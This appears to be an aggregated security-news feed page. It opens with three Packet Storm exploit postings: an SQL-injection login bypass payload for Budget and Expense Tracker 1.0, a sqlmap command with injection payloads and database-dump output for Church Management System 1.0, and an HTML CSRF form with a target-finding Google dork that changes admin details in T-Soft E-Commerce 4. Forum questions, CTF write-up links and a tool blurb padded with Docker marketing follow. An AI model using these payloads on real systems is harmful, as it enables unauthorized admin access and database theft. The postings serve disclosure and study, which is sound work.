Exploit CollectorBudget And Expense Tracker System 1.0 SQL Injection


Budget and Expense Tracker System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 40bed83356597733c7fd84b5cb6b2ee0

Download



# Exploit Title: Budget and Expense Tracker System 1.0 - Authenticated Bypass
# Exploit Author: Prunier Charles-Yves
# Date: September 20, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/expense_budget.zip
# Tested on: Linux, windows
# Vendor: oretnom23
# Version: v1.0

# Exploit Description:
Budget and Expense Tracker System 1.0, is prone to an Easy authentication bypass vulnerability on the application
allowing the attacker to login with admin acount


----- PoC: Authentication Bypass -----

Administration Panel: http://localhost/expense_budget/admin/login.php

Username: admin' or ''=' --



Source:packetstormsecurity.com

Exploit CollectorChurch Management System 1.0 SQL Injection


Church Management System version 1.0 suffers from a remote SQL injection vulnerability. Original discovery of SQL injection in this version is attributed to Murat Demirci in July of 2021.

MD5 | 445f577a4e7298a5becd39ec3d3cc6c3

Download



# Exploit Title: Church Management System 1.0 - 'search' SQL Injection (Unauthenticated)
# Exploit Author: Erwin Krazek (Nero)
# Date: 17/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/14949/church-management-system-cms-website-using-php-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/church_management_1.zip
# Vendor: oretnom23
# Version: v1.0
# Tested on: Linux, Apache, Mysql
# Exploit Description:
Church Management System 1.0 suffers from an unauthenticated SQL Injection Vulnerability in 'search' parameter allowing remote attackers to dump the SQL database using SQL Injection attack.

# Vulnerable Code
In search.php on line 28
$count_all = $conn->query("SELECT b.*,concat(u.firstname,' ',u.lastname) as author FROM `blogs` b inner join `users` u on b.author_id = u.id where b.`status` =1 and (b.`title` LIKE '%{$_GET['search']}%' OR b.`meta_description` LIKE '%{$_GET['search']}%' OR b.`keywords` LIKE '%{$_GET['search']}%' OR b.`content` LIKE '%{$_GET['search']}%' )")->num_rows;

Sqlmap command:
sqlmap -u 'http://localhost/church_management/?p=search&search=abcsw' -p search --level=5 --risk=3 --dbs --random-agent --eta --batch

Output:
---
Parameter: search (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: p=search&search=abcsw') OR NOT 4306=4306-- rFTu

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=search&search=abcsw') AND (SELECT 7513 FROM (SELECT(SLEEP(5)))SsaK)-- zpac

Type: UNION query
Title: Generic UNION query (NULL) - 14 columns
Payload: p=search&search=abcsw') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71766a7671,0x456e6d5461414774466e62636744424f786d74596e6270647a7063425669697970744a5351707970,0x7178787671),NULL,NULL,NULL,NULL-- -
---
[17:33:38] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: Apache 2.4.46, PHP
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:33:38] [INFO] fetching database names
available databases [4]:
[*] church_db
[*] information_schema
[*] mysql
[*] performance_schema



Source:packetstormsecurity.com

Exploit CollectorT-Soft E-Commerce 4 Cross Site Request Forgery


T-Soft E-Commerce version 4 suffers from a cross site request forgery vulnerability.

MD5 | 6e54f2c9db010d22ce70cd8e73093ee8

Download



# Exploit Title: T-Soft E-Commerce 4 - change 'admin credentials' Cross-Site Request Forgery (CSRF)
# Exploit Author: Alperen Ergel
# Software Homepage: https://www.tsoft.com.tr/
# Version : v4
# Tested on: Kali Linux (2021.4) / xammp
# Category: WebApp
# Google Dork: intext:'T-Soft E-Ticaret Sistemleriyle Hazırlanmıştır.'"
# Date: 2021-08-15
######## Description ########
#
# Attacker can change admin informaiton
#
#
######## Proof of Concept ########

POST /srv/service/admin/updateuserinfo HTTP/1.1

Host: localhost

Cookie: lang=tr; PHPSESSID=f2904b66de6c0e7ac0d4a9707b9f978c; rest1SupportUser=0; countryCode=TR; nocache=1; yayinlanmaDurumuPopup=1; yayinlanmaDurumuPopupTimeout=864000; webpush=1; U_TYPE_CK=131; U_TYPE_OK=c16a5320fa475530d9583c34fd356ef5; TSOFT_LOGGED=7d025a34d0526c8896d713159b0d1ffe; email=; phone=; password=

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Content-Length: 74

Origin: http://localhost

Referer: http://localhost/Y/

Te: trailers

Connection: close



firstName=Victim&lastName=victim&email=victim%40mail.com&phone=12584368595




####### EXPLOIT ##################
<html>

<body>

<script>history.pushState('', '', '/')</script>

<form action="victimsite.com/srv/service/admin/updateuserinfo" method="POST">

<input type="hidden" name="firstName" value="[CHANGEHERE]" />

<input type="hidden" name="lastName" value="[CHANGEHERE]" />

<input type="hidden" name="email" value="[CHANGEHERE]" />

<input type="hidden" name="phone" value="[CHANGEHERE]" />

<input type="submit" value="Submit request" />

</form>

</body>

</html>



Source:packetstormsecurity.com

Exploit Collector
Microsoft Windows MSHTML Overview


This article discusses the CVE-2021-40444 vulnerability and an alternative path that reduces the lines of JS code to trigger the issue and does not require CAB archives.

MD5 | adb871524d9737af0fef53123fa0b931

Download


Source:packetstormsecurity.com

hacking: security in practice
Hacking older Samsung Smart TV to support Airplay

Is it possible to enable airplay in any way on my older Samsung tv (2011)? It should be hardware wise capable of that right?

Model Number: UE55D8000
Software Version: T-GAP8DEUC-1021.2 ,BT-G

submitted by /u/petak33
[link] [comments]

hacking: security in practice
Are "hackers for hire" a thing?

Do hackers do it for a living? Are there any honest hackers for hire or is it just a big scam?

Is it legal to be paid for hacking, within certain limits?

submitted by /u/MrLandlubber
[link] [comments]

hacking: security in practice
DNS tunneling is unsecure ? iodine

Hi there,

I was just gonna try to establish a DNS tunnel connection point from a server, just for fun and see what I really get. I have taken a look to the following tutorial https://medium.com/@galolbardes/learn-how-easy-is-to-bypass-firewalls-using-dns-tunneling-and-also-how-to-block-it-3ed652f4a000 That take us to the tool iodinehttps://github.com/yarrick/iodine

As far as I could see , there is no keys or certificates to be established in this connection , so my main concern is , if I were to "serve" a connection via iodine, that connection can be accessed through literally any host over the internet, so someone could probe this and hack into my server.

Am I right or I'm missing the point on how this service work?

Has anyone tried it?

Any thoughts?

Thank you!

submitted by /u/brohermano
[link] [comments]

Hacking on Medium
NUEVO MALWARE APUNTA AL SUBSISTEMA DE WINDOWS PARA LINUX PARA EVADIR LA DETECCIÓN


PUBLICADO EN 20 SEPTIEMBRE, 2021POR EHACKING

Continue reading on Medium »

Hacking on Medium
Hacktivitycon 2021 — Writeups (Part 2)


Bad Words

Continue reading on Medium »

Hacking on Medium
PBJar CTF 2021 — WriteUp


WriteUp

Continue reading on Medium »

Hacking on Medium
Steganography – the art of concealing data in an image


So in order to find that hidden data we have various tools

Continue reading on Medium »

Hacking on Medium
Unlimited report user in Instagram (Facebook) leads to abuse risk.


Hello, it’s Mano Prasanth here,

Continue reading on InfoSec Write-ups »

Unlimited report user in Instagram (Facebook) leads to abuse risk.
https://infosecwriteups.com/unlimited-report-user-in-instagram-facebook-leads-to-abuse-risk-efcca325aada?source=rss------bug_bounty-5

Hello, it’s Mano Prasanth here,Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/unlimited-report-user-in-instagram-facebook-leads-to-abuse-risk-efcca325aada?source=rss------bug_bounty-5)

Kali Linux TutorialsBugs-feed : A Local Hosted Portal Where You Can Search For The Latest News, Videos, CVEs, Vulnerabilities…
Bugs-feed is a local hosted portal where you can search for the latest news, videos, CVEs, vulnerabilities… It’s implemented as a PWA application so you can get rid of the explorer and use it as a desktop application. Navigate through different tabs and take a look to the latest bugs or search in all of them at once. It comes with a configuration pane in which you can modify hashtags and video channels to your own belong.

As a hacking and development enthusiast I’m in love with the idea of making my own scripts of the lastest vulnerabilities.
The problem: there is so much information out there. Lots of new vulnerabilities are discovered in just a day, innumerable related tweets are written and so their corresponding videos are filmed.
The solution: to gather all the information in one place and make it easy to disaggregate so you can extract the relevant knowledge.

Bug’s feed is a docker containered Flask application which makes use of Selenium, Twint and FeedParser to scrape different websites like Hackerone, Youtube, Bugcrowd, Exploit Database or Twitter and stores the results in a Mongo database.
Most of requests go through Tor and with a random user agent.

Except those to twitter, youtube, oxford and bugcrowd (this may change in the future).

Scrapping so much information, depending on different websites, makes easy to break some of the scripts. Consider using the manual refresh button if something fails.

Prerequisites

Docker

Docker takes away repetitive, mundane configuration tasks and is used throughout the development lifecycle for fast, easy and portable application development – desktop and cloud. Docker’s comprehensive end to end platform includes UIs, CLIs, APIs and security that are engineered to work together across the entire application delivery lifecycle.

Build

* Get a head start on your coding by leveraging Docker images to efficiently develop your own unique applications on Windows and Mac.  Create your multi-container application using Docker Compose. 
* Integrate with your favorite tools throughout your development pipeline – Docker works with all development tools you use including VS Code, CircleCI and GitHub.
* Package applications as portable container images to run in any environment consistently from on-premises Kubernetes to AWS ECS, Azure ACI, Google GKE and more.

Share

* Leverage Docker Trusted Content, including Docker Official Images and images from Docker Verified Publishers from the Docker Hub repository.
* Innovate by collaborating with team members and other developers and by easily publishing images to Docker Hub.
* Personalize developer access to images with roles based access control and get insights into activity history with Docker Hub Audit Logs.

Run

Deliver multiple applications hassle free and have them run the same way on all your environments including design, testing, staging and production – desktop or cloud-native.

Deploy your applications in separate containers independently and in different languages. Reduce the risk of conflict between languages, libraries or frameworks.

Speed development with the simplicity of Docker Compose CLI and with one command, launch your applications locally and on the cloud with AWS ECS and Azure ACI.

Docker-compose

Overview of Docker Compose

Compose is a tool for defining and running multi-container Docker applications. With Compose, you use a YAML file to configure your application’s services. Then, with a single command, you create and start all the services from your configuration. To learn more about all the features of Compose, see the list of features.

Compose works in all environments: production, staging, develo[...]